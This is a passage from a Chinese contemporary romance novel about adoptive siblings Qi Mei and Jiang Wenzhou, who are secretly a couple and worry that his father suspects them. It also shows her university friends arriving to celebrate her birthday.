“知道。”江问舟笑着伸手捏捏她的脸,亲昵地叫她小管家婆。 接着他拿了衣服就去洗漱,发现牙膏没了,还问齐眉新的牙膏在哪儿。 一切如常,他出门前威胁她的那句“等我回来收拾你”仿佛只是一句随口说说的戏言。 类似的戏言其实不是没出现过,但通常都没什么下文,见他现在是这个表现,齐眉便以为又和以前一样,他随口说说罢了。 于是她放下心来,吹干头发后找了集综艺节目,一边修剪指甲一边看电视,金金和年年一个爬上猫爬架,一个趴在空调边上,都眯着眼开始打瞌睡了。 有轻微的水声从浴室里传出来,夜晚安静又平常,齐眉有那么一瞬间觉得他们像是回到了还在申城住出租房的日子。 真希望这样的日子恒常稳定下去,过一辈子最好,齐眉心想。 一集节目过了三分之二,江问舟出来了,接着吹风机呼呼的声音响起,齐眉忽然想起来:“啊!我的快递!” 她立刻起身去找江问舟帮她拿回来的几个快递,就在玄关柜上放着。 “买了什么?”江问舟问道。 “护肤品。”齐眉应道,一边拆一边想了想,“有一个便携的胶囊咖啡机,我看到别人推荐,觉得很有意思,就买了一个。” “还有……”她看了一下几个快递的单面信息,“还有一个新的吹风机,说这个比较静音,而且优惠力度比较大,我就买了,我打算新的留在家里,旧的拿去单位用。” 说着她立刻把电吹风的那个盒子拆了,冲江问舟招手,语气轻快:“快来拿,你正好试用一下。” 江问舟失笑,关了手里的电吹风拔下插头,过去接过新的,还蹲下来问她要说明书:“直接插上电就能用?” “还有两个风嘴和这个。”齐眉把东西推到他面前,“这个是滋养舱,跟滋养风嘴配一起用的,说可以把护发精油滴到滋养舱的滤棉上,就不用再自己往头发上涂一遍护发精油。” 她说着站起来,兴冲冲往浴室走,“你先吹,我去给你拿精油!” 像是得到了一个新的玩具,玩起来兴致勃勃的,江问舟不由得再度失笑。 他研究完说明书,先去吹头发,电吹风开关刚打开,齐眉就凑过来了,一脸认真:“我听听,我听听是不是真的静音。” 没等江问舟回答,她就接着问:“重不重?” 江问舟掂了掂,“我觉得还可以,不重,比妈以前买的那个松下的要轻。” “……那都好久以前了。”齐眉哎呀一声,“你不会比较一下这个旧的?笨!” 诶,还真是,江问舟不由得赧然,抿着唇不好意思地笑笑,接着掂掂两个电吹风的重量,把新的往齐眉那边一摆,点点头,意思是这个更轻一点。 齐眉连声应好,让他吹头发,“吹到八分干就把这个风嘴吸上去哈。” 江问舟嗯了声,一边吹头发一边扭头看她继续去拆快递,本来已经睡了的两只见到似乎有热闹,也醒了过来,正围在纸箱旁边,金金努力地往纸箱里爬。 齐眉刚走近,它就成功挤进了纸箱,齐眉哟了声,逗它:“这儿怎么还有一个快递,我看看,买的都是什么啊,这么可爱。” 话音刚落,纸箱里就探出来一个毛茸茸的脑袋,仰着头,瞪着圆眼睛看着她。 没等齐眉继续说什么,年年就冲上来,嘴筒子一怼,纸箱翻了。 但金金还是不想出来,就这么套着纸箱躺在地上,江问舟看得忍俊不禁,又听齐眉嘀嘀咕咕地说什么:“果然,纸箱会自己长出猫来,我在家里摆一排纸箱,是不是会收获一排猫猫?啊,这只是金金,那只也是金金。” 一边嘀咕一边拆她的护肤品,清点赠品有没有漏发,年年上前捣乱,不负众望地挨了一巴掌。 家里一时间热闹起来,江问舟一声不吭,一边听着耳边电吹风呼呼的声音,一边目不转睛地看着他们,脸上的笑怎么都忍不住。 新的电吹风很好用,他又是短发,没几分钟就吹干了,将电吹风放好,收拾好卫生间,扭头便看见齐眉抱着满怀的东西往这边走。 “放柜子里?”他一面问,一面朝她伸手。 “放抽屉里,下面那层。”齐眉点点头,把东西递给他。 那一层专门放的是她的护肤品存货和卫生巾这些护理用品,江问舟拉开一看,满满当当的一柜子。 齐眉洗了手,笑嘻嘻地歪头看他,问他新的吹风机好不好用,见他点头,便伸手要摸他头发。 江问舟微微低下一点头,她的指尖便从他的发缝间穿过去,柔顺的发丝被她反手抓在手心,还搓了两下。 满意道:“不错不错,这个护发精油真不错。” 接着收回手,把手指凑到鼻尖闻了闻,冲他眨眨眼睛:“你现在头发跟我一个味道的了。” 江问舟失笑,低头去吻她的嘴角,“只有头发吗?” 齐眉抱住他的脖颈,把脸埋在他怀里,闻到他身上和自己几乎一样的味道,那是同一款沐浴露带来的,但又隐隐约约有些许不同。 还没等她说什么,双脚突然离地,她下意识挣扎,却被江问舟一巴掌拍在屁股上。 力道不轻不重,却也有些疼。 “老实点,晚上的账我还没跟你算呢。”江问舟没好气地开始翻账本,“更喜欢当妹妹是不是?还是说你心里就是觉得我们的关系见不得光?” 顿了顿,他又想起来她前天才说过的话,不由得郁闷:“又或者……你前天跟我说,觉得人家知道了也没什么,是骗我的?” 声音听起来有些闷闷的,似乎有些委屈和难过。 齐眉一怔,连忙摇头:“没有啊,不是的,我没有骗你!” “那你今晚见到徐医生,为什么说我是你哥?”江问舟质问道,“男朋友三个字烫嘴?” 齐眉被问得尴尬,理亏地哎呀一声,小声嘀咕:“这不是一时半会儿没改过来么……” 她也不知道怎么解释自己当时的脱口而出,只能说下意识的本能反应确实说明了一些问题。 这也是江问舟最在意的一点。 齐眉心虚又懊恼,连忙抱着他脖颈在他身上扭了两下,嗫嚅着撒娇认错:“我错了,对不起嘛,我、我就是说习惯了……我改,我改行不行?哥~” 说着话,还把腿盘到了他的腰上,紧紧贴着他,努力蹭啊蹭,想用这种方式转移他的注意力。 江问舟怎么会不知道她在想什么,又气又拿她没办法,再多责备和抱怨都说不出口,咬牙切齿好半晌,也只是又用力地拍了一下她的屁股。 齐眉吃痛,又不敢有意见,只能呜一声,趴在他肩膀上,有些讨好地亲亲他的脖颈。 吻落下去的时候,她听见江问舟的呼吸好像顿了一下。 诶!有反应,是不是?! 她立刻乘胜追击,立刻又亲了一下,这次亲在江问舟的下颌线上,甚至用牙齿叼住那一小块皮肉,轻轻地咬了一下。 松口时余光看见皮肤上的牙印,又理亏地凑上去舔了舔。 江问舟被她这一连串的动作弄得有些不自在,下意识仰起头想躲开,却让自己的喉结暴露在了齐眉的视线里。 她想也不想,直接就吻了上去,还是像刚才那样,又亲又咬的,江问舟实在是受不了,屏住的呼吸一下就喘了出来。 下一秒便咬紧牙关,抱着齐眉匆匆进了房间。 “嘭”的关门声惊醒齐眉,她愣了一下,停下动作,问他:“外面灯没关?” “……等会儿再关。”江问舟压着嗓子仓促应了一句,便直接将她压进被褥里。 他的急切让齐眉忍不住松了口气。 着急好啊,着急就不会揪着她之前的错处不放,只想追究她的口误了。 于是她什么也没说,只抱着江问舟的肩膀,配合他的一切动作。 她完全敞开自我,毫无保留地接纳她的爱人,在他的怀里放空一切思绪,甘心在这一刻当他的提线木偶,将喜怒哀乐都系于他的指尖和唇齿。 江问舟熟悉她的一切,哪怕最细微的反应,当然能察觉她此时此刻的顺从,甚至在某些时刻不自知的迎合。 方才心里刚攒起来的一点气就这么又散了。 不然还能怎么样呢?他又不能真的怪她什么,这种情况以前也不是没有过,他早就习惯了。 但是不管怎么习惯,没有被女朋友第一时间承认身份这种事,都是会让人觉得很不高兴的,江问舟仔细琢磨又忍不住憋闷。 这股郁气亟需宣泄,又无处可去,便都反映在他的动作上,齐眉只觉得自己像是在坐过山车,一路颠簸起伏,不是直冲云霄就是飞速俯冲,心率和呼吸不断加快,整个人都在颤抖,仿佛一根紧绷到极致的弦,下一秒就要断裂。 但最后实在受不了了,她便呜咽着哭出声来。 江问舟故意使坏,吓唬她:“还哭?让外面的人听见了怎么办?” 家里就他们俩,外面真有人听见那就是灵异事件了,况且这点动静连门缝都传不出去。 但谁叫齐眉这会儿脑子短路呢,被他这么一吓,哭声顿时就被憋了回去,整个人再次变得紧绷起来,紧紧攀在江问舟身上,还不住往他怀里躲。 搞得江问舟也跟着浑身紧绷起来,额头青筋直跳,后背的汗一层叠一层。 他一面压抑着身体原始的冲动,一面忍不住自嘲,真是一场酣畅淋漓的搬起石头砸自己的脚啊。 卧室里的动静一直持续到半夜才渐渐停歇,齐眉困得厉害,洗完澡回来趴在床上一动不动,觉得浑身的疲惫终于有了可以放下的地方。 她迷迷糊糊地听见江问舟回来的动静,便往另一边挪了挪。 接着察觉被子被掀开,带着微微凉意的胸膛贴了过来,她刚要蹭过去,就听耳边忽然响起一句:“忘了告诉你,爸已经怀疑我们了。” 顿了顿,这道声音又继续:“不,准确来说,是怀疑我了。” 这句话跟平地起惊雷没有任何区别。 齐眉本来越来越重的眼皮歘一下就睁开来,眼睛瞪得溜圆,清明目光不见一丝一毫的睡意,只有紧张和不可置信。 “……你说什么?”她问道。 ————— 江问舟侧躺在床上,手撑着太阳穴支起头,笑眯眯地看向面前瞳孔地震的齐眉。 “不信?”他眉头一挑,干脆将白天在家里发生的事仔细描述给她听。 那些自己未曾注意到过的细节,听得齐眉一愣一愣的,“怎么会这样……” 她下意识想坐起来,却被江问舟一把按住肩膀,啧了声:“好好躺着,起来做什么。” 齐眉顺着他的力道又躺了回去,震惊地看着天花板,喃喃道:“怎么会……你是不是骗我的……” 江问舟哭笑不得,刚想反问他这么做有什么好处,就见她突然一激灵,翻身一把将他扑倒,然后抓住他的肩膀一顿狠狠摇晃。 “这怎么办啊?你说啊!怎么办啊?!” 声音听起来有些抓狂,江问舟的神情变成了忍俊不禁,“还能怎么办,凉拌。” 他掐着齐眉的腰将她按在怀里,不让她乱动了,“老实点,还是说你不累,想再来一次?” 齐眉浑身一僵,立刻在他胸前老实趴好。 江问舟刚要说话,她又动起来,将腿挂到他的大腿上,再往床上一滑,抱住他的腰。 江问舟:“……”我是什么大号人形抱枕吗? 等她彻底安分下来,他才叹口气继续前面没说完的话:“我只是告诉你这件事,让你提前有个心理准备,爸可能很快就会找我谈话了。” 齐眉的神情更加紧张了,抱着他腰的手忍不住用力,指甲往他皮肤里抠。 江问舟感觉腰上有点轻微的刺痛,忍不住皱眉,但她却浑然不觉,只顾着追问:“为什么这么说?你确定……那我呢?干爸不会搞各个击破那一套吧?” 你别说,还真别说,江问舟觉得他爸就是这么打算的。 所以他说:“我会尽量把爸的盘问截留在我这儿,不让他找你谈话,你放心,他肯定第一个问我,还得问是不是我把你带坏了,勾搭着你犯错。” 说完他哼哼冷笑两声。 真是倒反天罡,明明是她对他蓄谋已久才对。 齐眉有些心虚,立刻用脸蹭蹭他胸口,亲亲他胸前那一点,听到他深呼吸,又嘿嘿一笑。 这人就是故意使坏,江问舟没好气地揪一下她的脸,这才继续说:“但是现在有一个问题,我要和你商量一下,需要统一口径。” 齐眉虽然不知道他要说什么,但还是连忙点头应好。 “我会跟爸说,让他别找你,但是这需要理由。”江问舟一面轻拍她的背,一面放缓了语气,“你希望我怎么说呢?跟方仕平有关的部分,能说吗?如果能,是能说到什么程度?” 齐眉闻言一愣,整个人都顿住。 她一时没吭声,江问舟也不催她,给她时间去考虑,只一直轻拍着她的后背。 可等啊等,一直都没等到她哪怕一个字,他就有点按捺不住了。 “……西西?睡着了?”他开口问道。 他的想法是,她起码要先给他一个答复,能,或者不能,又或者是还没想好过两天再给答复,总要先给他一个方向才行。 “……没有。”齐眉被他问到了,这才有些郁闷地叹口气,“我不知道……我知道这件事肯定不是我的错,我也不怕别人知道,可是……可是我又觉得……” 她的语气渐渐低落下来,连同情绪也多了几分懊丧和无奈。 江问舟还是一下接一下地拍着她的背,嗯声道:“其实是不想听他们对你表示同情,对吗?” “……这种事有什么需要同情的。”齐眉小声地嘟囔,“而且干爸知道了肯定会骂我。” 骂她什么都不跟家里说,报喜不报忧不是这么做的。 江问舟啧了声,立刻表示:“你要是因为这件事挨骂,我可不帮你哈。” 笑死,他不加入爸妈阵营一起骂她,就已经是对她心慈手软了。 齐眉生气,大声地喂了一下。 他便理直气壮道:“谁叫你不告诉我?这么大的事,你一声不吭,你觉得你是为了不让我担心,为了我好,可我觉得这是你不够信任我的表现。” 说到这里他叹口气,情绪也忽然变得不佳:“你不知道后来我知道了,有多后悔,我明明觉得你不对劲,为什么没有刨根问底,要是追着问,你就算不肯说,但也一定会露出马脚……” 同时他也很疑惑,“我一直都觉得,虽然我不够称职,做得不够好,但……应该也没特别差劲吧?你为什么会这么不信任我,遇到委屈、遇到难处,宁可自己死撑,也不愿意告诉我?” 他当然希望自己的爱人能够独立、坚韧、勇敢,就算他不在她身边,她也能过得很好,拥有精彩的生活,但绝对绝对,不包括遇到这种事。 “这个问题的答案是什么,我至今没想明白。”江问舟给她拍背的动作停了下来,变为轻柔的摩挲,连声音都变得更加缓和,“西西,你现在愿意告诉我了吗?” 齐眉没想到他会在这个时候突然和她聊起这件事。 语气平静中带着深深的疑惑,她的心被一个个问号砸出坑来,甚至不敢抬头看他。 好半晌才有些抗拒似的嘟囔:“这个……和这次事、有什么关系嘛……” “当然有了。”江问舟声音慢悠悠的,努力跟她讲道理,“到时候爸问我,我之前说的前女友是不是你啊,我是不是得说是?那分手的原因,当时说是她不够信任我,有些分歧她不信我能处理好,爸这时就要问了,你们的分歧是什么?别人不够了解你,西西和你认识了这么多年,也不了解你吗?能让她这么顾虑重重的事,肯定不是普通事,对吧?” 齐眉听了顿时觉得头大,以她对江眀琮的了解,他肯定会这样问的。 也别指望他会不记得了,就算一时忘了,过两天肯定也会想起来,迟早都要找江问舟追问。 他只是到了退休年龄,不是老年痴呆了。 她烦躁地哎呀一声,忍不住侧过脸去,张口狠狠咬了一下他的胸口。 江问舟吃痛,倒吸一口凉气:“嘶——” “你返祖了是不是?要吃奶?”他没好气地揪了一下她的耳朵。 齐眉气得直哼哼:“还都怪你,你说你那个时候是不是闲得蛋疼,谁问你在学校有没有女朋友了?” 要是没说,现在不就不用担心被家长挖坟了? 这下轮到江问舟被噎住了,还真是,这事确实是他的锅,可当时也没想得这么远啊。 再说了,“谁让你那会儿不理我?” “……怎么又赖我?”齐眉要闹了,“谁让你都不跟我好好说话,非得阴阳怪气?!” 翻旧账谁不会,她能翻的比他多多了! 俩人你一言我一语地拌嘴,到最后差点又要滚到一起去,幸好齐眉及时叫停,这才没真的做到最后。 “所以我到底能不能跟爸说这件事?”江问舟抱着她,这时终于想起来正题。 “也不是不能说……”齐眉有些犹豫,“但是说得很仔细的话……干爸干妈会被气到的吧?啊、他会不会跟干妈说?” 齐眉说到这里又开始害怕了,“干妈会杀过来揍我的吧?哥,哥!怎么办啊?” “……要挨打了知道找我了?”江问舟十分没好气,告诉她,“我也没办法,只能陪你一起挨骂,你放心,我会被骂得更惨。” 没有照顾好她,是他的错。 齐眉呜了一下,紧紧抱住他脖颈,“我们好惨……没有别的办法不挨骂吗?” 江问舟失笑:“我觉得没有,忍忍吧,撑过去就好了。” 说完他顿了顿,才继续道:“那……到时候我就笼统地说发生了不太愉快的事?再多的就不说了,除非……” 他说到这里停了下来。 齐眉等了一会儿没听到下文,忍不住抬起头,用额头顶顶他的脸,追问道:“除非什么?” 江问舟叹口气,反手把她抱紧,低头啄了一下她的额头,“除非爸妈直接找你问,到时候我和你一起说。” 齐眉沉默半晌才嗯了声。 不知道是不是想给自己打气,而后她又提高音量说了句:“到时候我一定好好说,争取……不挨那么多骂!” 江问舟一时没忍住,嗤一下笑出声来。 你就说这人多活该吧,这么大的事,非得藏着掖着,就没想过等到哪天必须要说了,她的处境会多被动。 可是江问舟也万分理解她,如果是他遇到这样的事,也不会告诉父母,原因大概和她一样吧,不想他们担心…… “其实谜底就在谜面上啊。”齐眉这时忽然又说了一句。 听起来似乎有些没头没尾的话,江问舟愣了愣,随即便明白过来。 她这是回答了他之前的问题,为什么遇到委屈、遇到困难,宁愿自己死撑,也不愿意告诉他? 除了没有百分百信任他之外,还因为不想他担心。 “我不想因为我的事影响到你。”齐眉闷声闷气地道,“你要是知道了,肯定想办法揍他,是不是?或者想办法背后阴他,别否认,我知道你做得出来的。” 江问舟抿着唇不吭声,任由她的手指在自己身上抠来抠去。 “要是你成功了还好,我也出气了,可要是失手了呢?”齐眉喃喃自语似的,还使劲摇了摇头,“那你会被他报复的,舟哥,我们比他弱小,斗不过他的,你看你后来……” 说句不中听的,要不是方仕平那老登惹毛了郭教授,让江问舟有机会知道郭教授能成为自己的盟友,他指不定现在还在申大医院当他只手遮天的副院长逍遥快活呢。 “你看你不也是只能靠自己吗?”齐眉反问他,“你当时为什么没有第一时间求助郭教授?” 她是明知故问,却真的把江问舟问住了。 “……因为我不能确定,老师一定会站在我这边,会愿意为了我的事,和方仕平彻底撕破脸。”他沉默半晌才叹了口气回答道。 “那不就是了。”齐眉哼了声,“要是在容城,我肯定说啊,我不跟你说也会跟干妈说,他们自会替我讨公道,可是离得那么远,就算他们要帮我,也不知道要搭上多少人情,万一事情扩大,连累你毁了前途,我这辈子都不会心安的。” 所以思来想去,反正自己也没什么实质性损失,忍下这口气反而是最划算的做法了。 可是…… 江问舟觉得自己心头一阵撕裂样疼得厉害,他紧紧抱住齐眉,翻身将她压在怀里,眼泪再也忍不住,溢出眼眶之后随着动作滴落在她脸上。 突如其来的水湿让齐眉一怔:“……江问舟?” “对不起,西西,对不起。”他的声音哽咽,透着强烈的自责,“是我不好,如果我成长得再快一点……” “那你可能已经英年早逝了哦。”齐眉不等他把话说完就立刻打断,玩笑似的道,“江主任你可给别人留点活路吧。” 江问舟因为她的打岔,声音一时哽住。 “你已经做得很好了呀,后来不是帮我出气了吗?”齐眉捧住他的脸,笑吟吟地看着他,目光在灯光的映衬下柔和至极,专注得仿佛眼里只有他,“其实我们都是一样的人,都希望对方能好好的,对不对?” 他们在一起生活了这么多年,有很多事,包括为人处世的方式,其实都是江问舟教给她的。 为了自己在意的人,可以吃点委屈,会怪自己没有*做得更好……你看,这不都一样么! 齐眉摸了摸他的脸,小声说:“哥,我觉得我们现在这样很好,就不要再去想以前的事了,好不好?” 过去的事就不要再想了嘛,人都是要向前看的,往后看有什么意思? 齐眉嘀嘀咕咕,最后把自己给说得委屈了,“你不能一直拿这件事翻我旧账,这不公平。” 江问舟本来心里难受,被她这么一打岔,情绪倒是稳定了一点。 但也谈不上很好,总觉得有很多想说的话不知道该怎么说,到最后全都化成一句:“以后不会了,我保证,以后再也不会有人可以欺负你。” 他似乎在这一刻找到了自己使劲向上爬的动力。 聊了这么久,齐眉终于再也熬不住,困得眼皮又开始打架,灯光熄灭前,江问舟对她说的最后一句话,是让她接下来回家吃饭的时候别表现得太刻意,自己心里有数就行。 “别怕,有我呢,我比你高,天塌下来了我能顶着。” “你最好是……”齐眉嘀咕,觉得自己根本做不到。 不过这一天来得也没这么快。 进了七月,暑期就到了,机场的客流量比上一个月又高了一点,回家的出游的,机场到处人头攒动,身体不适来医务点就诊的旅客也多了一点。 这天齐眉刚给一位腹泻的旅客开完药,就听门口忽然传来一声响亮的:“齐眉!” 她吓了一跳,猛地抬头,看见医务点门口的左边门框边,整齐地冒出来三颗脑袋,一颗叠一颗的,全都笑吟吟地看着她。 她先是愣了一下,旋即回过神来,立刻起身,笑着朝她们走过去:“你们来啦?” 话音刚落,她便被三对胳膊一齐紧紧地拥抱在中间。 第58章 第五十八章(二合一)现在是几几年?…… 人来人往的医务室门口,齐眉被三位好友拥抱在中间,半晌她们才松手,齐眉这才笑着问:“怎么提前来了,不是说周末才到的么?” 她们联系时是这么说的,说周六上午的航班从申城出发,上午十一点左右落地,她还说正好那天她下夜班,可以接机呢。 结果她们提前了三四天,今天才周二,人就来了。 徐丹若晃晃她标志性的高马尾,得意道:“没想到吧,我们是特地提前过来的,其实我们是要来玩十天。” 姚敏哈哈大笑,接着道:“我们来给你过生日啦!惊不惊喜,意不意外,刺不刺激?” 齐眉连连点头:“是挺意外的。” 她说着左右张望一圈,疑惑道:“你们自己来的?都没带家属啊?” “我们不就是来找家属的吗?”蒋乐亭伸手捏她的脸,“我是来找老婆的,带拖油瓶干嘛?” “住口!这是我老婆!”徐丹若立刻将齐眉往自己这边一拉。 姚敏也跟着抢人,嚷嚷道:“滚蛋,明明这是我老婆!” 齐眉哎呀一下,要挣开她们俩的手,甩了两下没甩开,忍不住笑起来,想起这个称呼的由来。 学校每五年会举办一届校园十佳歌手比赛,她们大四那一年刚好赶上一届,决赛那天兴致勃勃地去看了,夺冠的两位经管学院大三的学妹。 她们是从小一起玩到大的好朋友,还约好一起考同一所大学同一个专业,感情非常好,所以她们的参赛歌曲也是讲述友谊的《老婆》。 那首歌的曲调很欢快,朗朗上口,齐眉她们在台下忍不住跟着哼唱,演出结束之后,姚敏和徐丹若是一路反复哼着副歌部分回到寝室的。 一进门俩人就犯病了,先是姚敏对着徐丹若大呼老婆,然后说:“亲爱的,给我打个洗脚水好吗?” 徐丹若怎么可能答应,立刻说:“你才是我的老婆,快去尽一下贤妻的本分。” 俩人就谁是老婆这件事展开五百回合的拉扯,齐眉在旁边一声不吭,但还是被殃及池鱼。 因为俩人在谁也说服不了谁的情况下,忽然间心有灵犀,不约而同地选择了一致对外。 “算了,我觉得你不够漂亮,我要娶最漂亮的女人,我选择齐小眉当老婆!” “你选她当老婆啊?那我也选,没人规定一个女人只能有一个对象吧?” “同意!” 齐眉当时都傻了,你们都不征求一下本人意见的吗?这跟强抢民女有什么区别! 三人拉拉扯扯之间,半路离队去买宵夜的蒋乐亭回来了,一看这么热闹,赶紧问发生了什么事。 等听说才一会儿没在,齐眉就成她们俩的老婆了,立刻表示:“我也要!” 齐眉当时抗议了,表示自己性取向真的是异性恋,不想给她们当老婆。 大家说要遵循少数服从多数原则,她要是实在觉得亏了,也可以叫她们老婆。 齐眉那会儿满心都是她哥,怎么可能叫别人老婆,婉拒了哈,理由是实在叫不出口。 一直到齐眉和江问舟刚确定关系,那会儿她还没告诉几位室友,碰巧一起吃饭,姚敏她们习惯性地冲齐眉喊老婆,结果齐眉还没什么反应呢,江问舟就先皱眉了。 三人见他脸色不对劲,互相一使眼色,吃完饭就回去对齐眉进行严刑拷打,追问她和江问舟是不是在一起了。 毕竟是同吃同住多年的室友,很多蛛丝马迹根本无法完美掩藏,齐眉对江问舟有意早就是公开的秘密。 大概是多年好友的默契,齐眉刚想起这些往事,姚敏她们就问她:“我们现在叫你老婆,你哥还会脸黑吗?” 问完不用她回答,几个人就嘻嘻哈哈笑起来。 齐眉一阵脸热,连忙摆摆手阻止她们:“不要在我单位说这种事啊!” 三人这才反应过来,“啊对对对,哎呀这是你上班的地方,这到处都是推着行李箱的,实在是想不起来。” 蒋乐亭拍拍她肩膀:“那我们先去酒店,今天自由活动,明天你下班我们再约?” 齐眉连忙一把抓住她手腕不让人走,追问:“干嘛去住酒店啊?你们开了几间房,一间两间还是三间?” “我们订了一间家庭房,有一大一小两张床,够住的。”姚敏解释道,还说订的酒店据说离江边挺近,看评价说夜景不错。 “那多浪费钱,十天呢,这不得一两千的花费?”齐眉劝她们把房间退了,“去家里住吧,我家有两个房间呢。” 三人听了顿时不约而同地面露犹豫。 倒也不是不想去,只是吧,“我们去了,你哥住哪儿啊,是不是不太合适?” 她们都没有和朋友的配偶来往太多的习惯,如果江问舟也在,那她们就要很注意言行举止了,说实话,肯定没有住酒店舒服自在。 齐眉表示我懂,爽快道:“让他回他自己家住去。” 周二是江问舟的手术日,手术排得满满当当,他一直忙到中午一点半才从手术室出来,在休息室刚坐下,就接到齐眉让他明天起就回青年路那边房子住十天的噩耗。 他觉得天都塌了,问她:【能不能让她们去青年路那边住?】 齐眉震惊:【她们是我的朋友,我要接待,不让她们住我家里,去住我男朋友的家,不合适吧?再说了,住一起是为了能更好聊天叙旧呀,要不……我也跟着一起住过去?】 江问舟:【?这和我回那边住有什么区别?】 本质上是没有区别的,都是要他和齐眉分开,他不想也没办法。 所以他决定把金金也带走,理由是人太多太吵,怕它会应激,他还想把年年也带上,但他天天上班,也没法好好照顾它,只好遗憾作罢。 齐眉:“……”你最好是真的怕它应激:) 也非常巧,江问舟晚上先将年年送去宠物店睡觉,带着金金刚回到自己家,孙茂芸就给他打来了电话,还是视频电话。 这次江问舟没有找理由拒接了。 接通以后他把金金叫过来:“快来,奶奶想看看你。” 孙茂芸被他一打岔,立刻又逗起猫来,江问舟便知道,嗯,没什么要紧事,就是日常打个电话聊两句家常。 果然,孙茂芸夸了一会儿金金真漂亮之后,回过神来问的是:“西西的生日怎么说,回家吃饭吗?” 江问舟被问得一愣,忽然间有种很奇妙的感觉。 “……我怎么感觉西西这生日、过了好久,一个多月?过完又过,别人家八十大寿都没她过得久。” 孙茂芸立刻呸他:“胡说!只是找名头多吃了一顿饭,什么大寿不大寿,她才多大!” 江问舟失笑,回答她的问题:“不回去,她同学过来了,要待个十天八天,正好给她过生日。” 孙茂芸哦哦两声,说一会儿给齐眉发个红包,又嘱咐他也别忘了,接着感慨:“一转眼西西都来我们家二十年了,日子怎么过怎么快,我就记得她还是刚来那会儿穿着蓬蓬裙的样子,脸上还肉肉的,眼睛大大的,别提多可爱了,怎么一眨眼就快三十岁了。” “你意思是说她现在眼睛不大了,不可爱了是吧?”江问舟故意跟她抬杠,一本正经道,“等着,明天我就转告给她。” “去去去,挑拨人家母女关系是二五仔才做的事。”孙茂芸呸了他一声,问他,“那你回不回来?” 江问舟摇摇头,叹气道:“周末有学术会议要参加。” 孙茂芸不由得叹气,刚想说他辛苦,就听他问:“所以妈你觉得我呢?” 她一愣:“……什么你呢?” “你不是说感觉西西还是刚来时一样么,那我呢?”江问舟问道。 语气随意,好似闲聊,但其中多少试探,只有他自己知道。 反正孙茂芸是没听出来,闻言还仔细想了想,半晌才说:“你啊……还像刚念初中那会儿吧,我和你爸都忙,顾不上你,但你能把自己照顾得很好,很独立了,一方面我们都觉得很放心,但另一方面是看到别人家的小孩十二三岁的时候还有父母无微不至的照顾,就觉得很对不起你。” “这样啊……”江问舟失笑,“不过都已经是过去了,现在我和西西都快要到你们当时那个年纪了。” “可不是么,时间过太快了,一眨眼你俩这都到当人父母的岁数了。”孙茂芸说完还啧了声。 话音刚落,江眀琮就凑了过来:“哟,跟儿子视频呢?” 还说想看看金金,“好多天没见我大孙女了,让我看看它瘦了没有。” 江问舟闻言笑笑,他爸到底是想看猫,还是想看看他到底在不在自己家,他自有分辨。 江眀琮看了两眼猫,就接着问:“诶,这个背景……舟舟你把猫从西西那儿……接回你家了?” 看吧?我就说嘛! 江问舟忍住想翻白眼的冲动,“我的猫,当然是我在哪儿它就在哪儿了。” 江眀琮瞬间沉默,就这句话吧……它是不是多少有点歧义? “就是嘛。”孙茂芸对此一无所知,帮腔道,“那是他的猫,肯定要自己照顾,都交给妹妹算什么事?那还不如送给西西好了。” 理是这个理,话也没说错,但江问舟忽然不敢细想。 孙茂芸越是什么都不知道,越是偏向他们,江问舟就越担心,心理压力也越大。 这是一场蓄意为之且持续很久的隐瞒和欺骗。 江问舟换位思考,假设她和江眀琮为了不伤他心,所以瞒着他其实还有另一个孩子,他会不会更加伤心,更加难过? 包破防的:) 所以偶尔他甚至会期待,要是妈妈能不那么信任他们,或者感觉更敏锐一点,是不是会更好? 可惜并没有,所以江问舟一时也找不到什么突破口去跟她说这事,直接讲的话,他又怕把她的心脏病给吓出来。 江问舟如何纠结齐眉暂时没有理会,她一早和来接班的同事交过班,便直奔姚敏她们住的酒店。 酒店离齐眉的住处不远,据说是昨天把原来的酒店退了之后特地选的。 三个人三个大行李箱,要挤进一辆小轿车里,可费了她们老鼻子劲,最后是车尾箱塞两个,后排塞一个,挤得满满的,一路往家赶。 上楼的时候齐眉特地带她们在小区里转了一圈,蒋乐亭婚后就一直在看房,看了没一百套也有九十九套了,边看边在心里算这个小区的容积率。 然后说:“你们小区环境看起来还不错啊,是学区房吗?” 齐眉点头应是,不过她也说:“这边学区只能说是一般,没有青年路那边好,就是我哥房子那边。” “有一套好的就够了,以后小孩户口上在那边也行。” 蒋乐亭跟她吐槽,说申城现在房子实在不好买,“我们单位不是有两个院区吗,要两头跑,就想买个院本部近的,最好附近就有地铁站能坐二号线,这样我去院本部就可以开小电驴,去分院区就可以就近坐地铁,申城市区那个交通你也知道的,四个轮子还没两个轮子和地铁好使。” 但是条件一摆出来,房子就很难找了,“都是二十年以上的老破小,老破大都没有,新一点的更加没有,因为买不起。” 单位就在市区,她这条件得贴着内环找,申城的内环,地段没得讲,好学校也多,因此价格相对高昂,兜里预算不够多的情况下,确实选择余地不多。 “老破小就老破小,面积够住就行,房龄老点也不怕,倒是要好好考察邻居,邻居要是有奇葩,那可就惨了,那么贵的房子,你就算想搬也跑不掉。” 齐眉说着话,按下上十楼的电梯。 “谁说不是呢。”蒋乐亭苦笑,“我们上个月去看的一套,地段户型都不错,就是暗卫有点美中不足,但是房东愿意给我们让点利,能便宜五万。” 她张开一只巴掌在齐眉面前晃了晃,“五万,五万你知道吗?” 对于普通工薪阶层来说,五万已经是一笔不小的钱了。 齐眉不由得惊讶:“这么大方?还是着急卖房啊?” 话音刚落,姚敏和徐丹若就噗嗤一下笑出声来,你一言我一语地解释起来:“她和老郑当时高兴得不得了,差点就要给定金了。” “可不是嘛,幸好她着急分享喜悦,跟我们说了,我们一合计,里头说不定有问题,我同事有个老房子也在那儿附近,去年也是要卖,根本不愁买家,想降价?没门儿!” “而且看房不得白天和晚上都去看看么,看看采光什么的,最好还能跟保安搭几句话,对吧?” “我们就劝她再看看,她说跟房东约改天晚上再去看一次的时候,对方就很明显不耐烦了,说自己工作很忙的……” 看来是真的有问题,齐眉问:“是不是房子有什么不对劲?” “房子没有问题,是邻居有问题。”蒋乐亭苦笑,“我们当时还觉得挺不好意思,就挑了个傍晚,自己过去看,想看看周围环境怎么样,结果特别巧,碰上小区门口有警车,我们就跟保安打听了一下,保安说是这小区里头有一户人家,母亲患了精神分裂,但是女儿和丈夫不知道为什么不愿意送去医院,她有时候会跑出来去骚扰邻居,那天也是这样,被骚扰的邻居报警了。” 她刚说完,电梯停了,齐眉一面领着她们往家走,一面表示庆幸:“幸好碰上了,不然万一哪天她跑去你家,还不知道会怎么样呢。” 大家一面吐槽,一面跟着她进了门。 屋里静悄悄的,并不像平时那样,进门就有小猫小狗冲过来迎接。 